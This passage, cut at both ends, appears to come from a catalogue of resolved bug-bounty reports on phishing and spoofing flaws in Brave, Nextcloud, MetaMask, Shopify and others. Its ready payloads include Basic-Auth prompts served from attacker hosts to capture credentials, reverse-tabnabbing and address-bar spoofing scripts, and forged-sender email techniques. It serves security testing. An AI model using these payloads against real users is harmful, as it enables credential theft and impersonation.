- Set it to an attacker host that responds with 401 WWW-Authenticate: Basic
- Victim loading the page sees a native credential prompt seemingly from the trusted domain
- Captured credentials are sent to the attacker host; IP/UA also disclosed
https://amp.twimg.com/amplify-web-player/prod/source.html?url=n/a&image_src=https://ATTACKER/admin&player_swf_url=https://ATTACKER/admin&page=amplify_card
# ATTACKER/admin responds: HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm="login"
Insight — Unproxied remote-image/URL params enable Basic-Auth phishing (401 injection) and IP/UA disclosure. Whenever a page fetches an attacker-supplied image or subresource cross-origin, test a 401 responder; the browser attributes the prompt to the parent origin.
Real-world example
Text/content injection in reflected pages for phishing
◆ Low
Specimen #997198 · cs_money · awarded · 28 votes · resolved
Program cs_moneySurface webTag account-takeover
Root cause
An endpoint reflects attacker-controlled text (from URL path or query parameter) into the page body without a link/HTML, letting an attacker place a convincing phishing/scam message (e.g. 'site has moved, visit X') on the trusted domain.
Method
- Find a page that reflects the URL path or a query parameter into visible text (404/error/support pages are common)
- Insert a phishing message (discount, 'moved to', support instructions) into that reflected value
- Share the trusted-domain URL; victim reads attacker text as official
https://support.cs.money//.cs.money(!has-moved-to-[www.support.cs.money.in]).Please-visit__[www.cs.money.in]___present__resource
Insight — Test error/support/404 pages for reflected path/param text injection. Even without HTML/link rendering, arbitrary text on a trusted domain is a credible phishing surface; look for parameters echoed into the DOM as plain text.
Real-world example
Text injection / content spoofing in 404 page
◆ Low
Specimen #474397 · cfptime · none · 19 votes · resolved
Program cfptimeSurface web
Root cause
The 404 error page reflects the requested path verbatim, letting an attacker craft a URL whose reflected text presents a spoofed maintenance/redirect message for phishing.
Method
- Append attacker text as the path segment
- Load the URL and confirm the text is reflected in the 404 body
- Craft a convincing 'maintenance, go to evil.com' message and send the link
https://TARGET/!!!ATTENTION!%20This%20server%20is%20on%20Maintenance%20please%20go%20to%20WWW.EVIL.COM
Insight — Reflected path/parameter text in error pages is a low-severity but real phishing primitive; if angle brackets are filtered it may still allow plain-text content spoofing. Escalate by checking whether the same sink allows HTML/JS.
Real-world example
Invisible-unicode bypass of app-name uniqueness -> OAuth consent spoof
◆ Low
Specimen #785243 · x · awarded · 19 votes · resolved
Program xSurface webTag oauthTag account-takeover
Root cause
App-name uniqueness/invisible-character validation blocks some zero-width chars (U+200B) but not others (Mongolian vowel separator U+180E). The char renders invisibly, so an attacker registers an app whose name is visually identical to a trusted app (e.g. 'Twitter Web App'), spoofing the OAuth authorization screen.
Method
- Create a developer app and choose a taken/trusted app name
- Insert U+180E (or another allowed invisible/space char) into the name to pass the uniqueness check
- Register; the name renders identically to the trusted app
- Direct victims through the OAuth consent screen showing the spoofed app name (attacker also controls icon/website/description)
appName: Twitter Web App\u180E # U+180E passes the invisible-char filter, renders as 'Twitter Web App'
Insight — Uniqueness/anti-spoofing filters on names usually blocklist a few known invisible codepoints; test the full set (U+180E, other unicode spaces from jkorpela.fi/chars/spaces) to clone trusted identifiers. Highest impact where the name is the only anti-phishing signal (OAuth consent screens).
Real-world example
IDN homograph bypass via userinfo (user@host) / /@ in URL
◆ Low
Specimen #268984 · brave · awarded · 15 votes · resolved
Program braveSurface desktopTag subdomain-takeover
Root cause
The browser's IDN-to-punycode safety conversion is applied only to part of the URL; when the URL contains userinfo (user@host) or a /@ construct, the real host is rendered as Unicode homoglyphs instead of xn-- punycode.
Method
- Take a homoglyph domain (e.g. ebаy.com with Cyrillic a -> xn--eby-7cd.com).
- Embed it after an @ or /@ so the parser only punycodes the pre-@ segment: ebаy.com/@brave.com or @ebаy.com.
- Add it as homepage / open it; the address bar shows the deceptive Unicode host.
ebаy.com/@brave.com -> browser navigates to xn--eby-7cd.com while displaying Unicode
@ebаy.com/ -> renders as ebаy.com (not punycode)
Insight — When testing IDN/homograph defenses, don't just try a bare homoglyph host; wrap it in userinfo (user@host), paths, ports, and fragments - parsers frequently normalize/punycode only one segment.
Real-world example
BIDI/RTL CSS reversing displayed origin (MetaMask)
◆ Low
Specimen #1710564 · metamask · awarded · 13 votes · resolved
Program metamaskSurface webTag account-takeover
Root cause
The UI renders the connected-site origin with CSS direction:rtl to support RTL languages. For domains starting with a digit followed by a hyphen, the Unicode BIDI algorithm reorders characters, so a controlled origin like 0-metamask.io is displayed as metamask.io-0, letting a malicious site masquerade as another origin.
Method
- Register a domain crafted to exploit BIDI reordering (leading digit + hyphen, e.g. 10.18.4-metamask.io)
- Have the victim connect the wallet to that origin
- In Connected Sites, the origin renders reversed to resemble the trusted domain, hiding which site to disconnect
origin: 0-metamask.io # rendered as 'metamask.io-0' under CSS direction: rtl (BIDI reorder)
# e.g. 10.18.4-metamask.io masquerades as metamask.io with a version-number distractor
Insight — Anywhere a hostname/identity is shown under RTL-capable CSS or without BIDI isolation, digit/hyphen/RTL-marker crafted strings reorder on screen. Test origin/username/filename displays with BIDI-sensitive inputs; fix is Unicode BIDI isolation (LTR override) on identity fields.
Real-world example
Mobile browser address-bar spoofing via repeated port navigation
◆ Low
Specimen #176929 · brave · awarded · 13 votes · resolved
Program braveSurface mobile-iosTag account-takeover
Root cause
Navigating repeatedly to a trusted URL with a non-standard port (https://google.com:1234) while rendering attacker content causes the mobile browser to display the trusted host in the address bar before the (failing/slow) load resolves, so attacker content appears under a legitimate URL.
Method
- Host a page that document.writes attacker content then sets document.location to https://trusted:1234
- Re-trigger the navigation on a short interval so the trusted URL stays pinned in the address bar
- Victim sees attacker content under the spoofed trusted origin
<script>
function spoof(){
document.write('<h1>This is not Google</h1>');
document.location='https://google.com:1234';
setInterval(function(){document.location='https://google.com:1234';},9800);
}
</script>
<input type=button value=Spoof onclick=spoof()>
Insight — Address-bar spoofing on mobile browsers often relies on the URL updating before content loads: test slow-loading/non-standard-port URLs and setInterval re-navigation. High-value for phishing.
Real-world example
download attribute exfiltrates local files (file://)
◆ Low
Specimen #258710 · brave · awarded · 11 votes · resolved
Program braveSurface desktop
Root cause
The browser fails to block the HTML5 download attribute when the href is a file:// URL (unlike Chrome/Firefox), so a web page can trigger a save of a local file with no clear origin indication.
Method
- Host a page with <a href="file:///etc/passwd" download>
- Trick the victim (Linux/local) into clicking
- Local file is downloaded, indistinguishable from a remote download
<a href="file:///etc///passwd" download>Download local file</a>
Insight — Test browsers/webviews for cross-scheme download-attribute enforcement; file://, and content:// on mobile, are the interesting sinks for local-file phishing.
Real-world example
Silent external protocol-handler launch (ssh://, telnet://)
◆ Low
Specimen #369185 · brave · awarded · 11 votes · resolved
Program braveSurface desktop
Root cause
Browser launches OS protocol handlers without naming the target app, without a per-connection confirmation, and without echoing the real host, so an iframe/link can auto-initiate ssh/telnet sessions and spoof the destination.
Method
- Page contains a link or iframe with src="ssh://attacker"
- User (or window.onblur+alert trick) triggers the handler
- Terminal opens and connects with no host confirmation; displayed link text can differ from real host
<iframe src="ssh://attacker.example"></iframe>
<a href="ssh://abc.xyz">Connect to google.com</a> <!-- host spoof -->
Insight — On desktop apps/webviews, enumerate registered external URL schemes (ssh, telnet, smb, custom app schemes) and test for auto-launch, missing app name, and host spoofing; leaks client IP/username and widens attack surface.
Real-world example
Email spoofing via missing/misconfigured SPF/DMARC
◆ Low
Specimen #147919 · veris · none · 9 votes · resolved
Program verisSurface other
Root cause
The domain lacks an enforcing SPF/DMARC policy, so mail with a forged From: <anything>@target arrives in recipients' inboxes (not spam), enabling phishing that impersonates the organization.
Method
- Check the domain's SPF (v=spf1 ... -all) and DMARC (p=reject/quarantine) records.
- Send a message with From: support@target from an unrelated host/script.
- Confirm it lands in the inbox rather than being rejected/quarantined.
<?php
$to = "attacker@gmail.com";
$subject = "test";
$txt = "testing";
$headers = "From: support@target";
mail($to,$subject,$txt,$headers);
?>
Insight — Always fingerprint SPF/DMARC/DKIM early; a missing -all or absent p=reject DMARC is a reproducible spoofing/phishing finding. Verify by delivery to a real inbox, not just by record absence.
Real-world example
Support-process bypass via unauthenticated email spoofing
◆ Low
Specimen #25281 · security · 100 · 9 votes · resolved
Program securitySurface otherChain support confirmation request → spoofed From header → identit
Root cause
A support workflow 'verified' a sensitive change (username/profile-link change) by asking the requester to send a confirmation email from the account's address, but did not validate SPF/DMARC, so a spoofed From header satisfied the check and let an attacker change another user's username.
Method
- Request the sensitive change to support from an arbitrary email
- When support asks for confirmation 'from the associated email', spoof that From address using an open relay / spoofing service
- Support accepts the spoofed confirmation and applies the change
# spoofed confirmation (e.g. via emkei.cz)
From: victim@gmail.com
To: support@target.com
Subject: Re: confirm username change
OK, please change my username from abc to xyz
Insight — Any human/support process that treats an inbound email From address as proof of identity is bypassable unless SPF/DMARC/DKIM is enforced. When testing manual workflows, check whether confirmation relies on spoofable channels (email From, caller-ID, display name).
Real-world example
Inconsistent IDN/punycode handling across UI surfaces (Brave iOS Shield)
◆ Low
Specimen #1819329 · brave · awarded · 9 votes · resolved
Program braveSurface mobile-iosTag account-takeover
Root cause
IDN homograph protection (punycode display) is applied in the address bar but not in a secondary UI surface (the Brave Shield panel), which renders the decoded lookalike unicode domain, letting a homograph domain appear as a legitimate brand.
Method
- Register/serve an IDN homograph domain of a target brand (xn-- punycode)
- Visit it in the browser
- Open the secondary panel (Shield) that lacks IDN protection and shows the spoofed decoded domain
https://www.xn--80ak6aa92e.com # Shield panel displays 'apple.com'
Insight — When a client protects against IDN homographs in one place, audit every other surface that shows the hostname (permission panels, connected-sites, share sheets, download prompts). Protection is often applied per-surface, not globally.
Real-world example
Feed API trusts client-supplied author/object identifiers
◆ Low
Specimen #1566325 · phabricator · 300 · 9 votes · resolved
Program phabricatorSurface apiTag account-takeover
Root cause
The Conduit feed.publish API takes authorPHID and objectPHID directly from the request without verifying the caller is that author or can access that object, so an attacker forges feed stories attributed to other users and referencing restricted objects.
Method
- Call feed.publish with type=PhabricatorTokenGivenFeedStory
- Set data.authorPHID to a victim user's PHID (readable from their profile page)
- Set data.objectPHID to any object PHID (harvestable from page HTML), including restricted ones
- Story appears as if the victim acted / as if the attacker can access the restricted object
{
"authorPHID": "PHID-USER-<victim>",
"tokenPHID": "PHID-TOKN-medal-4",
"objectPHID": "PHID-TASK-<restricted>"
}
Insight — Any 'publish/post as' API that accepts an actor-id or object-id parameter is an identity/authorization test: substitute another user's id and a restricted object id and see if the server binds identity to the session instead of the parameter.
Real-world example
Text/content injection into error page for phishing
◆ Low
Specimen #149798 · nextcloud · awarded · 8 votes · resolved
Program nextcloudSurface web
Root cause
An unvalidated URL path segment is reflected verbatim into the not-found/error message (WebDAV remote.php/dav/files/<injected>), letting an attacker embed a convincing message (e.g. 'files moved to fakedomain.com') on the trusted origin for social engineering.
Method
- Find an endpoint that echoes part of the URL/path into an error or not-found page
- Insert a crafted human-readable message (URL-encoded) in that segment
- Send the trusted-origin link to the victim; the injected text appears as if from the app
http://TARGET/remote.php/dav/files/The%20files%20were%20moved%20to%20fakedomain.com%20please%20visit%20there
Insight — Reflected text (even without HTML/JS) in error/404/search pages is a content-spoofing primitive: it lends the trusted domain to an attacker's phishing message. Test path segments and query params that surface in error text; escalate if HTML/markup is not stripped.
Real-world example
Trailing control char in username to spoof identity
◆ Low
Specimen #3921 · phabricator · USD 300 · 8 votes · resolved
Program phabricatorSurface web
Root cause
Username uniqueness/validation did not reject appended control characters (%0a). Registering an existing user's name with a trailing newline creates a distinct account that displays with the identical name, enabling impersonation.
Method
- During registration, take a victim's exact username
- In an intercepting proxy, append %0a (or other control char) to the username field before the request is sent
- Account is created; it displays as the victim's name (profile lookup 404s but display collides)
POST /people/register
...
username=victimname%0a
Insight — Test identity/username fields with trailing/embedded control and zero-width chars (%0a, %0d, %00, U+200B, trailing space). Uniqueness checks that compare raw bytes but render trimmed produce impersonation.
Real-world example
Mobile address-bar spoofing via history.replaceState to blob: URL
◆ Low
Specimen #215044 · brave · awarded · 6 votes · resolved
Program braveSurface mobile-iosTag account-takeover
Root cause
The mobile browser reflected the URL passed to history.replaceState() into the address bar without validating scheme/consistency, so a page could display a blob: (or arbitrary) URL that does not match the actual origin.
Method
- Host a page on attacker origin
- In JS call history.replaceState('','','blob:http://TARGET/xxxx')
- The displayed address bar changes to the spoofed blob URL while content stays attacker-controlled
<script>
history.replaceState('','','blob:http://192.168.1.111/xxxx')
</script>
Insight — On mobile browsers/WebViews, test history.pushState/replaceState with mismatched-origin, blob:, and long/whitespace-padded URLs to spoof the address bar. Any browser that trusts the scripted history URL for the omnibox is phishable.
Real-world example
Reverse tabnabbing via window.opener on target=_blank links
◆ Low
Specimen #280500 · infogram · none · 6 votes · resolved
Program infogramSurface webTag account-takeover
Root cause
User-supplied links are rendered with target=_blank but without rel=noopener, so the destination page retains a window.opener reference and can navigate the original tab to a phishing page.
Method
- Provide an attacker URL where the app renders it as a target=_blank link (e.g. project external URL)
- Attacker page runs window.opener.location.replace(evilURL) when opened
- Victim returns to the original tab to find it redirected to the attacker's page
<html><script>
if (window.opener) window.opener.location.replace('http://attacker.com');
if (window.parent != window) window.parent.location.replace('http://attacker.com');
</script></html>
<!-- Fix: rel="nofollow noopener noreferrer" on the target=_blank anchor -->
Insight — Wherever an app renders user-controlled links with target=_blank, check for missing rel=noopener: the linked page can silently repoint the opener tab for phishing. Simple, high-coverage check on profile/bio/project URL fields.
Real-world example
Breadcrumb message spoofing via encoded traversal and null-byte CSP redirect bypass
◆ Low
Specimen #154827 · nextcloud · USD 50 · 5 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
The 'dir' parameter is reflected into the directory breadcrumb; traversal-prevention could be bypassed with URL-encoded periods, and a null byte in the URL triggered a CSP error that aborted the normalizing redirect, letting attacker text persist in the breadcrumb as a spoofed message.
Method
- Set dir to an encoded-traversal path that resolves to a 301 so the injected text stays in the breadcrumb
- Alternatively insert %00 so Chrome's CSP error blocks the ajax redirect to dir=/, leaving attacker text displayed
- Victim sees an attacker-authored message (e.g. 'Error - please restart your computer') under the trusted UI
https://demo.nextcloud.com/index.php/apps/files/?dir=%2E%2E/%2E%2E/%2E%2E/.well-known/caldav/Error%20-%20please%20restart%20your%20computer%20to%20continue
https://demo.nextcloud.com/index.php/apps/files/?dir=%00Error!%20Please%20restart%20your%20computer%20and%20try%20again
Insight — When a value reflected into UI is 'sanitized' by a client-side redirect/normalization, look for ways to abort that redirect: URL-encoded traversal (%2E%2E) to dodge filters and a null byte (%00) to trigger a CSP/ajax failure that leaves your injected content on screen. Content spoofing survives when the cleanup step can be broken.
Real-world example
URI-scheme allowlist bypass -> CSP/img filter evasion, opener control and info leak
◆ Low
Specimen #175085 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface webChain scheme-filter bypass -> CSP/img-proxy bypass -> windowTag account-takeover
Root cause
An HTML-mail sanitizer rewrites only http/https/cid schemes through its proxy/redirect filter, leaving ftp: and scheme-less/relative URLs (../..) unfiltered, so attacker src/href bypass the image proxy and CSP; a blanket target=_blank on <a> then enables reverse-tabnabbing (window.opener control) and leaks the user's accountID via the link.
Method
- Send an HTML email rendered by the app's sanitizer
- Use disallowed-but-accepted schemes (ftp://) or relative paths for src/href to skip the http/https/cid rewrite
- Confirm images load directly (image-proxy + CSP bypassed)
- Because <a> gets target=_blank with no rel=noopener, the opened attacker page controls window.opener and can redirect the original tab / read leaked accountID from the URL
<a href='ftp://user:pass@attacker.tld/hax.html'>Bypass link</a>
<img src='/index.php/s/SHARE_TOKEN/download'> <!-- relative, skips proxy -->
Insight — Scheme allowlists in sanitizers are enforced case-by-case; enumerate the schemes NOT in the rewrite list (ftp, filesystem, blob, relative/scheme-less) to slip past proxy and CSP. Any framework that forces target=_blank without rel=noopener is a reverse-tabnabbing sink - the opened page can navigate window.opener.location to a phishing clone.
Real-world example
Reverse tabnabbing via window.opener (missing rel=noopener)
◆ Low
Specimen #403891 · weblate · none · 5 votes · resolved
Program weblateSurface webChain reverse tabnabbing -> credential phishing -> account tTag account-takeover
Root cause
User-controlled links rendered with target=_blank but without rel=noopener/noreferrer let the opened page reach back via window.opener and rewrite the original tab's location to a phishing clone.
Method
- Find a place that renders a user-supplied URL as target=_blank without rel=noopener (here: translation source / editorial links)
- Host a page that runs window.opener.location = 'https://attacker/fake-login'
- Victim opens the link; while focused on the new tab, the background original tab is silently swapped to the phishing page
<!-- attacker page loaded in the new tab -->
<script>if (window.opener) window.opener.location = 'https://attacker.tld/fake-login';</script>
<!-- fix on the site: <a target="_blank" rel="noopener noreferrer"> -->
Insight — Wherever an app renders user-provided links (profile URLs, translation sources, comments) with target=_blank, check for missing rel=noopener — the opener reference is a low-effort phishing/ATO primitive. Sites that null window.opener (Google, Twitter) are the safe pattern to compare against.
Real-world example
Reverse tabnabbing via missing rel=noopener/noreferrer
◆ Low
Specimen #158002 · instacart · awarded · 4 votes · resolved
Program instacartSurface web
Root cause
User-supplied outbound links (added to lists) open in a new tab (target=_blank / new window) without rel=noopener noreferrer. The destination page keeps a reference to window.opener and can rewrite the original tab's URL, redirecting the trusted origin's tab to a phishing page.
Method
- Add a link you control to a user-generated content area that renders it as target=_blank.
- On the destination page run window.opener.location = 'https://phish.example'.
- Victim clicks the link; the original (trusted) tab is silently navigated to the attacker page.
<!-- attacker-controlled destination page -->
<script>if (window.opener) window.opener.location = 'http://example.com';</script>
<!-- vulnerable markup lacks: rel="noopener noreferrer" -->
Insight — Any feature that renders user-supplied URLs with target=_blank and no rel=noopener is a reverse-tabnabbing sink. Test by hosting a page that rewrites window.opener.location; the trust of the original tab powers the phish.
Real-world example
Cross-origin UI spoofing via origin-less scheme dialog (Brave iOS)
◆ Low
Specimen #1819652 · brave · awarded · 3 votes · resolved
Program braveSurface mobile-iosTag account-takeover
Root cause
The confirmation dialog for sms:/tel: links does not show the caller origin and, unlike JS alert() dialogs, is rendered on the topmost screen even when a different tab is active. An attacker page can open a trusted site in a new tab, then pop its own scheme dialog over that trusted site.
Method
- Attacker page opens a trusted site (e.g. google.com) in a new tab
- Attacker triggers an sms:/tel: link
- The origin-less confirmation dialog appears over the now-active trusted tab, appearing to originate from it
Visit https://csrf.jp/brave/sms.php -> tap 'Click Me' -> google.com opens -> sms: confirmation dialog shown over google.com
Insight — Any native/scheme confirmation dialog that omits the requesting origin and can render over a different active tab/window is a cross-origin UI-spoofing primitive. Test whether such dialogs are modal to their origin and attributed; compare against JS alert() which is bound to its tab.
Real-world example
Reflected content spoofing via app parameter (unfiltered dir/message value in generated text)
◆ Low
Specimen #145463 · nextcloud · awarded · 2 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
A request parameter (dir, or an error message parameter) is reflected verbatim into an application-generated text/message. Prefixing with ../../ (or supplying arbitrary text) lets an attacker inject phishing content that appears to come from the trusted app. Assigned CVE-2016-9460.
Method
- Find a parameter whose value is echoed into an app message or listing (e.g. dir=, message=)
- Supply ../../ to defeat the redirect-to-home behavior, then append attacker text
- The attacker text renders in the trusted origin as if it were an official notice
http://TARGET/nextcloud/index.php/apps/files/?dir=../../Welcome+to+Nextcloud+You+can+get+pro+account+by+navigating+this+example.com
// app-message-parameter variant (owncloud galleryplus, #87752):
http://TARGET/owncloud/index.php/apps/galleryplus/error?message=Welcome to owncloud. Send 10 usd to paypal example@example.com&code=0
Insight — Any parameter reflected into an app-rendered message (error text, breadcrumb, directory label, status banner) is a content-spoofing/phishing sink even when HTML is escaped - plain injected text in a trusted origin is enough to social-engineer. Test dir/path/message/error/status params for verbatim reflection.
Real-world example
Text injection in reflected 404/error page for phishing
◆ Low
Specimen #106348 · algolia · awarded · 2 votes · resolved
Program algoliaSurface webTag account-takeover
Root cause
Default server 404 pages echo the requested path verbatim ("The requested URL <path> was not found on this server"). Encoding arbitrary text (and %2f../ or %0d%0a tricks) into the path injects attacker-controlled phishing text into a page served from the trusted origin.
Method
- Request a non-existent path on the target that contains attacker phishing text (URL-encoded spaces/slashes)
- The server's default 404/error page reflects the path text back into the page body
- Victim sees attacker text ("this has moved to attacker.com, go there") on the legitimate domain
https://TARGET/test/%2f../It%20has%20been%20changed%20by%20a%20new%20one%20https://ATTACKER.com%20so%20go%20to%20the%20new%20one%20since%20this%20one
// CRLF-flavored variant (#164137,#168078):
https://TARGET/%0d%0ahas%20moved%20to%20www.ATTACKER.com.%20Please%20visit%20ATTACKER.com
Insight — Probe error pages (404/403/500) for verbatim reflection of the request path or query. Even with HTML escaped, injected plaintext on the real domain is a viable phishing/redirect-lure primitive. Fix is a static error page that never echoes request input. Extremely common across many programs - low severity, easy to farm but usually merged as informative unless a bounty program values content spoofing.
Real-world example
Mailto-parameter injection via user email field -> attacker-controlled reply email
◆ Low
Specimen #72976 · shopify · none · 2 votes · resolved
Program shopifySurface web
Root cause
A user-supplied email address (blog-comment email field) is rendered into a clickable mailto: link without validation/encoding, so an attacker packs mailto query parameters (?body=...&to=...) plus non-breaking-space padding into the 'email' value; when the admin clicks reply their mail client honors the injected body/to, composing a phishing message.
Method
- Post a blog comment supplying a crafted 'email' value that contains a mailto query string with the phishing text in ?body= and attacker address in &to=, padded with U+00A0 (non-breaking spaces) so the visible address looks normal and pushes the malicious link off-screen
- Admin views the comment and clicks the reply/mailto link
- Admin's email client interprets the injected body= and to=, pre-filling an attacker-authored credential-phishing message to the attacker's address
POST /blogs/news/18286141-first-post/comments HTTP/1.1
Host: test-4579.myshopify.com
Content-Type: application/x-www-form-urlencoded
comment[author]=testxss&comment[email]=Reply\u00a0customer\u00a0...(nbsp padding)...?body=To\u00a0identify\u00a0you\u00a0as\u00a0shop\u00a0administrator\u00a0please\u00a0enter\u00a0your\u00a0login:\u00a0________\u00a0and\u00a0password:\u00a0________\u00a0and\u00a0send\u00a0a\u00a0letter&to=evil@mail.com&comment[body]=gyjghhj
Insight — Any field that later becomes a mailto: link (contact forms, comment authors, support tickets) is a header/parameter-injection sink: try injecting ?subject=, ?body=, &to=, &cc= into the address. Combine with non-breaking-space padding to hide the payload on small screens. Turns a benign 'email' input into a targeted phishing primitive against staff.
Real-world example
Hyperlink injection via display/organization-name field in notification emails
◆ Low
Specimen #843421 · undisclosed · none · votes · resolved
Program undisclosedSurface webTag account-takeover
Root cause
An organization/display-name value is rendered as a clickable link in system-generated invitation emails without sanitization, so setting the name to https://attacker.com plants an attacker link inside a trusted, legitimately-sent email.
Method
- Set a user/org/display-name field to an absolute URL (https://attacker.com).
- Trigger a notification/invitation email that echoes that field.
- The recipient sees an attacker link inside a genuine platform email.
Organization name: https://attacker.com -> rendered as <a href> in the invite email
Insight — Any user-controlled name/text echoed into outbound emails is a hyperlink/HTML-injection surface. Test name, org, profile, and comment fields with URLs (and markup) and observe the delivered email.
Real-world example
Official SMS references a registerable look-alike domain
◆ Low
Specimen #549364 · security · awarded · 117 votes · resolved
Program securitySurface web
Root cause
The account-recovery SMS told users to contact 'supportahackerone.com' -- an unregistered look-alike (typo of support.hackerone.com) an attacker could buy and weaponize for phishing with the platform's own credibility.
Method
- Set up account recovery to receive the SMS
- Observe it names supportahackerone.com
- Register that domain and phish users the platform directs there
Insight — Audit outbound comms (SMS/email/push) for references to domains the org does NOT own -- typo'd, unregistered, or third-party. Attacker registers it and inherits the sender's trust; a real, cheap phishing primitive.
Real-world example
In-app browser address-bar spoofing (LINE iOS)
◆ Low
Specimen #1082991 · line · none · 36 votes · resolved
Program lineSurface mobile-iosTag account-takeover
Root cause
The in-app WebView updates the displayed address bar for a navigation that is actually cancelled (invalid hostname / redirect), and applies URL normalization at the wrong time. A malicious Unicode-laden hostname is displayed as a different, legitimate-looking host than the page actually loaded.
Method
- Serve a redirect chain that navigates to an invalid/normalized hostname
- WebView writes the spoofed hostname to the address bar even though navigation is cancelled
- Displayed host differs from the real host serving the phishing content
Insight — In mobile in-app browsers, test whether the address bar updates before navigation commits, on cancelled navigations, or during redirects, and whether unicode normalization is applied inconsistently. These timing/normalization gaps yield address-bar spoofing (CVE-2021-36215).
Real-world example
Broken-link hijacking inside a trusted domain
◆ Low
Specimen #265696 · gitlab · none · 20 votes · resolved
Program gitlabSurface web
Root cause
A hyperlink on the trusted domain pointed to an external profile/handle that had since been deleted; re-registering that handle lets an attacker control a link that appears to originate from the trusted site.
Method
- Crawl the target's pages/blog/security page for outbound links
- Check each destination for deleted accounts / expired domains / unclaimed handles (404, NXDOMAIN)
- Re-register the dangling handle/domain to control the link's destination
Insight — Broken-link hijacking turns a victim's own reputation into a phishing primitive; enumerate dead outbound links (blog author profiles, docs, program security pages) and check whether the destination handle/domain is claimable. Even one click can redirect reports/users to attacker infrastructure.
Real-world example
Unauthenticated SMTP (587) accepts local-domain delivery -> spoofed internal mail
◆ Info
Specimen #2264982 · sidefx · USD 300 · 70 votes · resolved
Program sidefxSurface networkTag webhook
Root cause
An internet-exposed SMTP service accepts unauthenticated connections and, while denying open relay, still queues mail addressed to its own domain with an arbitrary MAIL FROM -> spoofed internal email.
Method
- nmap -p 587 TARGET_IP to find open SMTP
- telnet TARGET_IP 587 and issue HELO/EHLO
- MAIL FROM: any@target-domain ; RCPT TO: someone@target-domain (relay to outsiders denied, local delivery not)
- DATA + body + '.' -> server queues the spoofed message
telnet TARGET_IP 587
HELO x
MAIL FROM: support@target.com
RCPT TO: media@target.com
DATA
subject: test
body
.
Insight — Even when open relay is blocked, test whether an exposed MTA accepts unauthenticated mail to its OWN domain; that alone enables convincing internal phishing from a legitimate-looking sender.
Real-world example
Mobile browser address-bar spoofing via navigation race
◆ Info
Specimen #175958 · brave · USD 200 · 30 votes · resolved
Program braveSurface mobile-ios
Root cause
The browser updates the address bar to a target URL when navigation to it is initiated, but if the navigation is repeatedly interrupted (setInterval flipping location to a trusted URL) the bar keeps showing the trusted URL (with lock icon) while attacker content stays rendered (CVE-2016-9473).
Method
- Host attacker page with a login-lookalike form
- Use setInterval to repeatedly set location to a trusted URL every ~10ms
- Browser shows the trusted URL + TLS lock but fails to swap content
- Victim trusts the spoofed bar and submits credentials
function f(){ location='https://facebook.com'; }
setInterval(f, 10); // address bar shows facebook.com w/ lock, body stays attacker-controlled
Insight — Address bar is the only trust anchor on mobile. Test spoofing via rapid interrupted navigations (setInterval/window.open/204 responses). A green lock does not validate the displayed content.
Real-world example
Support-ticket injection on behalf of any user (email From spoofing + unauthenticated portal)
◆ Info
Specimen #2001913 · security · awarded · 29 votes · resolved
Program securitySurface otherTag webhook
Root cause
The helpdesk (Freshdesk) creates and keys a support ticket to whatever address is in the email From header (or to any email typed into an unauthenticated 'new ticket' form), with no ownership verification, so an attacker can open tickets as any victim or as staff.
Method
- Identify the helpdesk intake channel: support@ email address and/or a public /support/tickets/new form.
- Send a spoofed email with the victim's address in the From field to support@, or submit the new-ticket form with the victim's email + username.
- A ticket is created on the victim's support account; agents may then act on it (e.g. account deletion), enabling social-engineering/impersonation.
# Fake mailer (e.g. emkei.cz):
From: victim@example.com
To: support@hackerone.com
Subject: <anything>
Body: <anything>
# Freshdesk keys the ticket to the spoofed From -> ticket lands on victim's account
Insight — Any helpdesk that auto-provisions tickets from inbound email or an unauthenticated form is spoofable unless it verifies sender ownership (SPF/DKIM enforcement + confirmed-account requirement). Test migrations between ticketing systems (Zendesk->Freshdesk here) for reintroduced trust-the-From flaws.
Real-world example
Email spoofing via missing/weak SPF/DKIM/DMARC
◆ Info
Specimen #575 · security · awarded · 28 votes · resolved
Program securitySurface other
Root cause
The domain lacks an enforcing SPF/DKIM/DMARC posture, so an attacker can send mail with a From address of the target's domain (or a staff subdomain) and have it delivered, enabling convincing phishing/fraud (e.g. fake bounty/reward notices).
Method
- Check the domain's SPF/DMARC records (dig TXT); note missing or p=none DMARC
- Use a spoofing service (emkei.cz) to send with From set to an address at the target domain
- Confirm delivery to inbox (Yahoo often inbox, Gmail may spam)
- Craft fraud/phishing content as the trusted sender
From: gtsatsis@staff.target.com # sent via emkei.cz; delivered due to missing SPF/DMARC enforcement
Insight — Always check SPF (-all vs ~all), DKIM, and DMARC (p=reject/quarantine). Missing enforcement, including on staff/sub-domains, allows brand-impersonating phishing. Fix: SPF hardfail + DKIM + DMARC p=reject.
Real-world example
noopener/noreferrer bypass via /\host URL form (reverse tabnabbing)
◆ Info
Specimen #306414 · phabricator · USD 300 · 19 votes · resolved
Program phabricatorSurface webChain link-render filter bypass -> window.opener -> parent-t
Root cause
The app adds rel=noreferrer to user links, but its URL parser treats /\host as relative while the browser resolves it to an external origin, so the protection is applied to a link that still opens cross-origin with window.opener intact.
Method
- Post a link in the /\host/path form inside user content
- Victim clicks; new tab opens attacker page with window.opener access
- Attacker page calls window.opener.location.replace() to swap the parent tab to a phishing page
[[ /\attacker.example.com/tabnabbing.html | click_me ]]
// tabnabbing.html:
<script>window.opener.location.replace('http://phish.example.com');</script>
Insight — URL-parser vs browser-resolver differentials (/\host, \/host, //host) bypass both anti-tabnabbing rel attributes and same-origin link filters. When target=_blank + rel=noopener is present, try backslash/mixed-slash host forms to regain window.opener.
Real-world example
Support-ticket creation on behalf of a victim via Freshdesk wildcard address + spoofed From
◆ Info
Specimen #2109382 · security · awarded · 18 votes · resolved
Program securitySurface other
Root cause
Freshdesk creates tickets from inbound email keyed on the (unauthenticated) From header; the vendor wildcard address support@<sub>.freshdesk.com still accepts mail after the branded alias was filtered.
Method
- Open a fake-mailer (e.g. emkei.cz)
- Set From = victim email, To = support@hackerone.freshdesk.com
- Send any request body (e.g. account deletion); a ticket is created as the victim
From: victim@example.com
To: support@hackerone.freshdesk.com
Subject: Account deletion request
<action to perform on behalf of victim>
Insight — Email-to-ticket / email-to-webhook gateways trust the From header. When a fix filters the branded alias, retest the vendor wildcard address (support@<tenant>.freshdesk.com). Mitigation is Freshdesk's 'Prevent Wildcard Ticket Create'.
Real-world example
Homograph/IDN link via markdown URL-parser bypass
◆ Info
Specimen #59375 · security · awarded · 17 votes · resolved
Program securitySurface web
Root cause
